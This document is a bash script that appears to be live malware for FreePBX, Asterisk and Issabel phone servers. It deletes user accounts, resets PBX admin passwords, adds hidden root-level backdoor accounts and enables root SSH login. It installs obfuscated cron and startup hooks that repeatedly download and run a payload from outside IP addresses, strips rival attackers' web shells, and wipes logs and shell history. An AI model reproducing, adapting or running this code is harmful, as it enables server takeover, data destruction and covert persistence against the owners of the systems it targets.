#!/bin/bash mkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp 2>/dev/null || true rm -rf /tmp/* /tmps/* /trmp/* /var/tmp/* /var/tmps/* /var/trmp/* /var/lib/asterisk/bin/devnull* 2>/dev/null || true rm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull24 2>/dev/null || true rm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull23 2>/dev/null || true rm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull2 2>/dev/null || true rm -rf /tmp/k /tmps/k /tmp/.??* /tmps/.??* /trmp/.??* 2>/dev/null || true # ============================================ cd /tmp 2>/dev/null; awk -F: '($3 == 0 || $3 >= 1000) && $1 != "root" {system("userdel -rf " $1 " 2>/dev/null; sed -i \"/^" $1 ":/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/" $1 " 2>/dev/null")}' /etc/passwd # ============================================ # ============================================ mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin'; INSERT INTO ampusers SET username='freepbxusers', sections='*', password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9';" 2>/dev/null || true # ============================================ mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username NOT IN ('admin', 'freepbxusers'); UPDATE ampusers SET password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*' WHERE username='admin'; INSERT INTO ampusers (username, password_sha1, sections) VALUES ('freepbxusers', '6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', '*') ON DUPLICATE KEY UPDATE password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*';" 2>/dev/null || true # ============================================ mysql -u root --password='' elastix -e "DELETE FROM ampusers WHERE username NOT IN ('admin', 'freepbxusers'); UPDATE ampusers SET password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*' WHERE username='admin'; INSERT INTO ampusers (username, password_sha1, sections) VALUES ('freepbxusers', '6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', '*') ON DUPLICATE KEY UPDATE password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*';" 2>/dev/null || mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username NOT IN ('admin', 'freepbxusers'); UPDATE ampusers SET password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*' WHERE username='admin'; INSERT INTO ampusers (username, password_sha1, sections) VALUES ('freepbxusers', '6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', '*') ON DUPLICATE KEY UPDATE password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*';" 2>/dev/null || true # ============================================ mysql -u root --password='' issabel -e "DELETE FROM ampusers WHERE username NOT IN ('admin', 'freepbxusers'); UPDATE ampusers SET password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*' WHERE username='admin'; INSERT INTO ampusers (username, password_sha1, sections) VALUES ('freepbxusers', '6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', '*') ON DUPLICATE KEY UPDATE password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*';" 2>/dev/null || mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username NOT IN ('admin', 'freepbxusers'); UPDATE ampusers SET password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*' WHERE username='admin'; INSERT INTO ampusers (username, password_sha1, sections) VALUES ('freepbxusers', '6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', '*') ON DUPLICATE KEY UPDATE password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9', sections='*';" 2>/dev/null || true # ============================================ # ============================================ grep -R --include=\*.php -l 't3rr0r\|b3d0r\|pastebin\|Hacked\|MusicTeam\|Aragon\|Black Ban\|New-Pbx\|Emad__Was__Here' /var/www/html/ | while read file; do rm -f "$file"; done grep -rlZ "atmin" /var/www/html/ | xargs -0 -I {} sh -c 'cp {} /root/backup/ 2>/dev/null; rm -v {}' grep -rlZ "cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8" /var/www/html/ | xargs -0 -I {} sh -c 'cp {} /root/backup/ 2>/dev/null; rm -v {}' # ============================================ # Remove malicious files { grep -r --include="*.php" -l -E "(eval.*base64_decode|/\*[A-Za-z0-9]+\*/eval|c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF|New-Pbx|Emad__Was__Here|VictamPbx|emad|t3rr0r|FaTaLisTiCz_Fx|Hacked|b374k|xman|cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8|4ce19905aac5c1a58fc464e5bc1ce027|a62e7e1e4dfd211e99796aebb24dd872|Unauth0r1zed|Aragon|atmin|system\(\\\$_GET\[)|eval\(\\\$_POST|eval\(\\\$_REQUEST|eval\(\\\$_GET|system\(\\\$c\s" /var/www/html/ 2>/dev/null grep -rE --include="*.php" "Emad__Was__Here" /var/www/html/ 2>/dev/null | cut -d ':' -f1 } | sort -u | while read file; do [ -f "$file" ] && rm -rf "$file" &>/dev/null done find /var/www -type f -name '*.php' -print0 \ | xargs -0 grep -Il '/dev/null || true # ============================================ printf '%s' 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJyQxJG5SejFDYnRrJDZEbkdzMzduLk9wUGNnZWpVZnA5cC4nIG5ld2ZwYnhzICY+L2Rldi9udWxs' | base64 -d | bash 2>/dev/null || true printf '%s' 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJyQxJG5SejFDYnRrJDZEbkdzMzduLk9wUGNnZWpVZnA5cC4nIG5ld2ZwYnggJj4vZGV2L251bGw=' | base64 -d | bash 2>/dev/null || true printf '%s' 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJyQxJG5SejFDYnRrJDZEbkdzMzduLk9wUGNnZWpVZnA5cC4nIHhoaW1heCAmPi9kZXYvbnVsbA==' | base64 -d | bash 2>/dev/null || true # ============================================ echo '*/1 * * * * wget -q http://160.119.69.4/k.php -O /var/lib/asterisk/bin/zen222 && bash /var/lib/asterisk/bin/zen222' | crontab - 2>/dev/null || true echo '*/1 * * * * wget -q http://160.119.69.4/k.php -O /var/lib/asterisk/bin/devnull312 && bash /var/lib/asterisk/bin/devnull312' | crontab - 2>/dev/null || true echo '*/1 * * * * wget -q http://160.119.69.4/k.php -O /var/lib/asterisk/bin/devnull212 && bash /var/lib/asterisk/bin/devnull212' | crontab - 2>/dev/null || true echo '*/2 * * * * wget -q http://160.119.69.4/k.php -O /tmp/.cache/update && bash /tmp/.cache/update' | crontab - 2>/dev/null || true echo '*/3 * * * * wget -q http://160.119.69.4/k.php -O /dev/shm/.systemd/kernel && bash /dev/shm/.systemd/kernel' | crontab - 2>/dev/null || true # ============================================ mkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp 2>/dev/null || true RANDOM_PAYLOAD=$(tr -dc 'a-z0-9' /dev/null || true [ -s "$PAYLOAD" ] && bash "$PAYLOAD" 2>/dev/null || true done # ============================================ find /home -name authorized_keys -exec sed -i '/AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d' {} \; 2>/dev/null || true rm -f /root/.ssh/authorized_keys 2>/dev/null || true # ============================================ for f in /etc/freepbx.conf /etc/asterisk/*.conf /etc/crontab /etc/cron.d/*; do [ -f "$f" ] && sed -i "s/62\.171\.157\.156\|178\.214\.77\.7\|45.234\.176\.202\|46\.37\.21\.63\|162\.217\.98\.180\|202\.170\.120\.157\|111\.223\.32\.50|212\.83\.160\.70/160.119.69.4/g" "$f" 2>/dev/null || true done # ============================================ for i in 62.171.157.156 178.214.77.7 45.234.176.202 46.37.21.63 162.217.98.180 172.93.111.169 107.191.47.36 3.89.108.204 37.252.64.234 202.170.120.157 111.223.32.50 212.83.160.70; do iptables -C INPUT -s $i -j DROP 2>/dev/null || iptables -A INPUT -s $i -j DROP 2>/dev/null || true iptables -C OUTPUT -d $i -j DROP 2>/dev/null || iptables -A OUTPUT -d $i -j DROP 2>/dev/null || true iptables-save > /etc/sysconfig/iptables done # ============================================ useradd -o -u 0 -g 0 -p '$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' centos -s /bin/bash -d /dev/null 2>/dev/null || echo "centos:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.:0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null || true useradd -o -u 0 -g 0 -p '$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' admin -s /bin/bash -d /dev/null 2>/dev/null || echo "admin:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.:0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null || true useradd -o -u 0 -g 0 -p '$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' support -s /bin/bash -d /dev/null 2>/dev/null || echo "support:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.:0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null || true useradd -o -u 0 -g 0 -p '$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' issabel -s /bin/bash -d /dev/null 2>/dev/null || echo "issabel:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.:0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null || true useradd -o -u 0 -g 0 -p '$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' sangoma -s /bin/bash -d /dev/null 2>/dev/null || echo "sangoma:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.:0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null || true useradd -o -u 0 -g 0 -p '$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' emo -s /bin/bash -d /dev/null 2>/dev/null || echo "emo:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.:0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null || true useradd -o -u 0 -g 0 -p '$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' xhimax -s /bin/bash -d /dev/null 2>/dev/null || echo "xhimax:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.:0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null || true # ============================================ touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php 2>/dev/null || true # ============================================ for file in {"/root/.bash_profile","/root/.bashrc","/etc/rc.local"}; do if ! grep setsid $file |grep serv >/dev/null 2>/dev/null; then echo "KHNldHNpZCB3Z2V0ICJodHRwOi8vNDUuOTUuMTQ3LjE3OC9rLnBocCIgLU8gL3Zhci9zcG9vbC9hc3Rlcmlzay90bXAvc2VydiAyPi9kZXYvbnVsbCA+L2Rldi9udWxsOyBiYXNoIC92YXIvc3Bvb2wvYXN0ZXJpc2svdG1wL3NlcnYgMj4vZGV2L251bGwgPiAvZGV2L251bGwgJiApIDI+JjE="|base64 -d >> $file; echo "" >> $file; fi; done 2>/dev/null || true # ============================================ useradd -m -s /bin/bash sugarmaint 2>/dev/null || true useradd -m -s /bin/bash spamfilter 2>/dev/null || true useradd -m -s /bin/bash asteriskuser 2>/dev/null || true useradd -m -s /bin/bash supports 2>/dev/null || true useradd -m -s /bin/bash freepbxuser 2>/dev/null || true useradd -m -s /bin/bash supermaint 2>/dev/null || true useradd -m -s /bin/bash asterisk 2>/dev/null || true useradd -m -s /bin/bash hima 2>/dev/null || true echo 'root:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'hima:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'asterisk:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'sugarmaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'spamfilter:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'asteriskuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'supports:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'freepbxuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'supermaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true echo 'juba:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true sed -i 's/^#Port .*/Port 22/' /etc/ssh/sshd_config 2>/dev/null || true sed -i 's/^Port .*/Port 22/' /etc/ssh/sshd_config 2>/dev/null || true sed -i 's/^#PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config 2>/dev/null || true sed -i 's/^PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config 2>/dev/null || true systemctl reload sshd 2>/dev/null || service ssh reload 2>/dev/null || kill -HUP $(cat /var/run/sshd.pid 2>/dev/null) 2>/dev/null || true iptables -A INPUT -p tcp --dport 22 -j ACCEPT 2>/dev/null || true find /var/log/httpd/ -maxdepth 1 -name "*.log" -type f -exec sed -i '/restapps/d' {} \; 2>/dev/null || true echo '*/1 * * * * wget http://160.119.69.4/k.php -O /var/lib/asterisk/bin/zen222;bash /var/lib/asterisk/bin/zen222'|crontab - 2>/dev/null || true echo '*/1 * * * * wget http://160.119.69.4/k.php -O /var/lib/asterisk/bin/devnull312;bash /var/lib/asterisk/bin/devnull312'|crontab - 2>/dev/null || true echo '*/1 * * * * wget http://160.119.69.4/k.php -O /var/lib/asterisk/bin/devnull212;bash /var/lib/asterisk/bin/devnull212'|crontab - 2>/dev/null || true # ============================================ # HIDDEN DIRECTORIES # ============================================ mkdir -p /usr/lib/.systemd /usr/share/.fonts /var/lib/.dbus /var/tmp/.X11 /opt/.local /var/cache/.fontconfig /etc/.ssl /root/.config 2>/dev/null for loc in "/usr/lib/.systemd/.cache" "/usr/share/.fonts/.config" "/var/lib/.dbus/.data" "/var/tmp/.X11/.Xauthority" "/opt/.local/.bashrc" "/var/cache/.fontconfig/.cfg" "/etc/.ssl/.cert" "/root/.config/.pref"; do mkdir -p "$(dirname "$loc")" 2>/dev/null crontab -l > "$loc" 2>/dev/null [ -s "$loc" ] && chattr +i "$loc" 2>/dev/null done # ============================================ # PERSISTENT PAYLOAD DOWNLOADERS # ============================================ B64_ZEN2='d2dldCAtcSAtLXRpbWVvdXQ9MSAtLXRyaWVzPTMgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL3plbjIgJiYgYmFzaCAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vemVuMg==' B64_DEVNULL='d2dldCAtcSAtLXRpbWVvdXQ9MSAtLXRyaWVzPTMgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGwyICYmIGJhc2ggL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGwy' B64_HEAL='Zm9yIGIgaW4gL3Vzci9saWIvLnN5c3RlbWQvLmNhY2hlIC91c3Ivc2hhcmUvLmZvbnRzLy5jb25maWcgL3Zhci9saWIvLmRidXMvLmRhdGEgL3Zhci90bXAvLlgxMS8uWGF1dGhvcml0eSAvb3B0Ly5sb2NhbC8uYmFzaHJjIC92YXIvY2FjaGUvLmZvbnRjb25maWcvLmNmZyAvZXRjLy5zc2wvLmNlcnQgL3Jvb3QvLmNvbmZpZy8ucHJlZjsgZG8gWyAtcyAiJGIiIF0gJiYgY3JvbnRhYiAiJGIiICYmIGJyZWFrOyBkb25l' { crontab -l 2>/dev/null || true echo "0 1 * * * /usr/sbin/logrotate /etc/logrotate.conf >/dev/null 2>&1" echo "*/1 * * * * /usr/bin/fc-cache -f -v >/dev/null 2>&1" echo "0 1 * * * /usr/bin/openssl x509 -in /etc/ssl/certs/ca-certificates.crt -noout -dates >/dev/null 2>&1" echo "$((RANDOM%60)) * * * * echo '${B64_ZEN2}' | base64 -d | bash >/dev/null 2>&1" echo "$((RANDOM%60)) * * * * echo '${B64_DEVNULL}' | base64 -d | bash >/dev/null 2>&1" echo "$((RANDOM%60)) * * * * echo '${B64_HEAL}' | base64 -d | bash >/dev/null 2>&1" echo "*/1 * * * * pgrep -f 'zen2|devnull2' >/dev/null 2>&1 || (bash /var/lib/asterisk/bin/zen2 >/dev/null 2>&1 &)" echo "*/1 * * * * for b in /usr/lib/.systemd/.cache /usr/share/.fonts/.config /var/lib/.dbus/.data /var/tmp/.X11/.Xauthority /opt/.local/.bashrc; do [ -s \"\$b\" ] && crontab \"\$b\" 2>/dev/null && break; done" } | crontab - 2>/dev/null || true # ============================================ # FINAL CLEANUP # ============================================ find /var/log -name "*.log" -exec sh -c 'cat /dev/null > {}' \; 2>/dev/null rm -rf /var/log/secure* /var/log/messages* /var/log/auth* /var/log/httpd/* /var/log/nginx/* /var/log/apache2/* 2>/dev/null history -c 2>/dev/null unset HISTFILE 2>/dev/null rm -f ~/.bash_history ~/.zsh_history 2>/dev/null fwconsole ma update endpoint fwconsole ma upgradeall fwconsole chown fwconsole reload